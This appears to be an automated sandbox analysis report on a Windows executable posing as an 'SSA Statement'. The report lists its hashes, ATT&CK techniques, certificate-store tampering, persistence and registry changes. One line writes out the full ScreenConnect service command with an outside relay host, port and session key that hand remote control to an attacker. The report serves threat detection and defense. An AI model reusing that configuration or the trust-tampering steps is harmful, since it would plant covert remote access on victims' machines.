482b0ab3d3ecd3f023dec082486ca7a166dd9141dda8cf609420c8affda26510

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11/11/2024, 16:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SSA-Statement.Client.exe
Size 84KB
Sample241111-trx78avjer
SHA256 482b0ab3d3ecd3f023dec082486ca7a166dd9141dda8cf609420c8affda26510
MD5 b09e6cb7ca85e12ca8902ece780a3528
SHA1 4051e0ad70c7356238a44fb2d352e689c45ab6ee
SHA512 932d65d713d44f1214d84224624b3763bbe6499e25a73478c020745416ab02d5be95048ee17d7c31dc86809dffd041722bd66e00afca80e16ff39ade6ec66ce2
SSDEEP 1536:bazWlKzJVcNp++yQNS6xNNCT2l8NE8llbpTaCJRpsWr6cdaQTJSvYY27QkPx3q:pFNpo6rIKlUE8fbkqRfbaQlaYY2Lx3q
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery persistence

Malware Config

Signatures

Downloads MZ/PE file

Manipulates Digital Signatures 1 TTPs 4 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	SSA-Statement.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	SSA-Statement.Client.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	SSA-Statement.Client.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	SSA-Statement.Client.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (9f1abc6a-7e1d-4f39-a6d3-127997075d21)\ImagePath = "\"C:\\Users\\Admin\\AppData\\Local\\Apps\\2.0\\4VAPT7JQ.A28\\Y9OVBVV7.MBY\\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\\ScreenConnect.ClientService.exe\" \"?y=Guest&h=cdwe.sti1ureedn0reoa.de&p=5832&s=9f1abc6a-7e1d-4f39-a6d3-127997075d21&k=BgIAAACkAABSU0ExAAgAAAEAAQBVXsSEc%2bx9uXD3C%2f7hA6k%2bCkYq8qNt9ddXTDuk6xtcDXcigKgagdDrv%2fcdVObs%2b5PsIEqa3J7G2KVNlw%2fruJmp5gWKLUA7CGK0M2xYP%2fnHrh8PGKb6APgX8%2bMmK%2fRI%2fuG1ObyHzrZSA2zDxqMWtbhBTbrYOR9GzyZRtT2sHBbUlx41DAcKHlRcqgqrm7UWwNY1mXMg1RfS2uCkTVjdU3GL7AKxo9LZAF%2bNZ31xMPej0IfTdjxJIuBFFPQhiLUl3MrrnM%2bcDzOJ4R5qzkEDJux1InHPO4447uQgY2C%2fpH9XXbyUJCVvgFFCPS5LSQJiQ7CvgPW3fKiAsEahrr56vu2y&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA2MWuZsROBUiuvnj7vxetIQAAAAACAAAAAAAQZgAAAAEAACAAAACQrf2R7oWnSK1YPjgMju4fQFmgnEDwMWr6QEXVTU1RSwAAAAAOgAAAAAIAACAAAACoPSw6mHoVoDcUO31BGK%2bml%2fjyCp2W%2fZt0NL5EPENlgKAEAAD3hspE3cJXuKEhZi06QOZ4mV7AVA3dFWacDmm8HqgZ%2f3I%2bMYJuYNrkjcT5WE6qMxdkQTkJpF5GaayWg7sxXQ3Xrd7cBZ39cbxixRhqvr2zjKMYRsPTdpybgOLUkxDEcmAGx2sA%2fZzfowY9%2bHqHeyAWLQY6o4DUvHtwRaNsquIr%2f8l8XPlHrMfX4cmkuT2dSBDSLAOq4x10Z8MOU8Z0eMrMDiHtxHS1Qdw%2bwlVOQGoj5chc6tL0gfu4jods5kvH3T%2bJ9QhH9jXTruH6rkKRW9YmBAHaIPoTcpj07ySK5Xb9C5iqynqeH9xX3RSGSMyX2yiQqNccA%2fCU%2fnWdtHVKnrvC%2fiY%2foKJd%2b%2bDXBeheWv9cQdUwEAY6447xIF9XNDObrQMXQkpv2lHn1sSLyxdtLRKW4H6iX5L%2bFAWv5LXQG5PfHeGuAYd8ktNAOfB0xBwKAbsYCqjniaH0jQ6yhosDH5u6o1gZPf%2bet4hsuk5A01fa9Ngbvl1Fr1ayfMjO8HTWp%2bU2dtdMw1h7shMYnEV2PnLjctMZxWMDsz0QJzEKEo40MuGAp%2bWC8t8goERL0UwNWNmCefmYSdqs4%2fW%2bEole1Sk3gSLBp6McMydV24ssA7uQMMMKrNQRlDg5gmnKT%2fREHRyjzr%2fDwi%2fT%2bmeh06semTb59GilG00iQ%2b%2fKn3W1mcwiVzVcXMx%2bzZlwpo0hpr%2bnwmGB5Qz2oEx6H4DuLhIY0wHO01OJksZq8G8nysEmHfaX1sncF4b1Dnx6t0BFbL0coxGUZs%2bKatMa1CtpugqWcWmb0RRk6jqNyYAHv7ENOZD00lhItGOkjeoWFbFhPzFftxOyyRFYMt%2fmB7atwyvozYvjhS90bO6vd1xmme4xRApMiySQ1vEZ88A%2bOvgDJdyQltCrxPHc%2bbCPLA9tOQIQ3%2bdbj7op0%2fYXbuQl7rB5JSAvc%2fKwY8uMAJ0FbWyHft1lBCPLE3kgqm5gCPrtIR1OK7aJol9jdOJfTrprTVIFzSy8kdiyf7q%2b9WBZVe8bL03Qi3CsXCNv%2fAatFV%2fIraAiZU65VaUiUQGPf%2bGz%2fjQ8vek78HW4%2bcovpdaBlg2HcAIdYm%2bAGJCgNjqNiGtS7ffBRaYiPtRE92xAabUElGAoYhvHBnuqGUh%2fw9WeTPROjuUDF%2bNr4G0vvMSd088yHoRXLmlzywKRLM0KJkfrIlZmhVel6b9DnuT5Q6mcD8Vr9Y4pLJUUIR60bd8vviHsgxOIWqk%2fr1FWNPgR2xUE7vwGU14MqWg0rSF94%2f3CgSYnwkaayORkbIKQfiNUdQUDyXYUct%2f5RKMzzbu8FuJ1XSU%2f7%2bubZSYOIEz95YC7LAigtxmYjQHDQqqgwxmWfV5XKyi0UcSXtE3Bf0f7s17eGZIVmndXEUljnKX%2bS2btioj%2bVW4L0ESxpx1%2bu6XQwetizNI2kyqDKcrMg8%2fe%2fyuPZR%2fT%2bTnygLiFtyI8iYOvkHKsl6QtEL%2bmfKvsJwTny5r4R8jBNDSawb0XkEE0yZGqFjOt%2bORTO4%2byfbVJgEyJ8gcO2ZlmG5LTAAfs6i72A0yFs%2fM8eiIcM8E4P4o4caqP36Q%2bedAfAEAAAABIMazW0fyTdqYO8GEvA14EJr6ayiQ%2bHGnw%2bghIOXG%2fVIuLMWf2H%2bIHwQ6ug0XGcAwo2PcVPorGleZ8ZxGW5Iuq&r=&i=Untitled%20Session\" \"1\""	ScreenConnect.ClientService.exe

Executes dropped EXE 4 IoCs

pid	Process
3252	ScreenConnect.WindowsClient.exe
2904	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4932	ScreenConnect.WindowsClient.exe

Loads dropped DLL 16 IoCs

pid	Process
2904	ScreenConnect.ClientService.exe
2904	ScreenConnect.ClientService.exe
2904	ScreenConnect.ClientService.exe
2904	ScreenConnect.ClientService.exe
2904	ScreenConnect.ClientService.exe
2904	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SSA-Statement.Client.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\F_scre..tion_25b0fbb6ef7eb094_8c8febaddd6d59eb	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\lock!11000000c3b5570e28040000500200000000000000000000ecf9 = 30303030303432382c30316462333435353462633030616231	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\HasRunBefore = 01	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485\implication!scre..tion_25b0fbb6ef7eb094_0017.0002_1d = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\Files\ScreenConnect.WindowsBackstageShell.exe.c = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485\Files\ScreenConnect.WindowsClient.exe_6492277df = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\Files\ScreenConnect.Core.dll_b96889d378047e27 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\lock!10000000c3b5570e2804000050020000000000000000000 = 30303030303432382c30316462333435353462633030616231	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gi_scre..tion_25b0fbb6ef7eb094_9edfe039055229dd	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Visibility	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8\SizeOfStronglyNamedComponent = 44b4190000000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1db10da180e8ffe7\appid = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Installations	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\NonCanonicalData	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 0000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 30003000300031002f00300031002f00300031002000300030003a00300030003a00300030000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c\Transform = 01	dfsvc.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\OnlineAppQuotaUsageEstimate = "3391703"	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 32003000320034002f00310031002f00310031002000310036003a00310038003a00320030000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\Files\ScreenConnect.WindowsClient.exe.config_f7 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gc_scre..tion_44b528cc51e21b8c	ScreenConnect.WindowsClient.exe
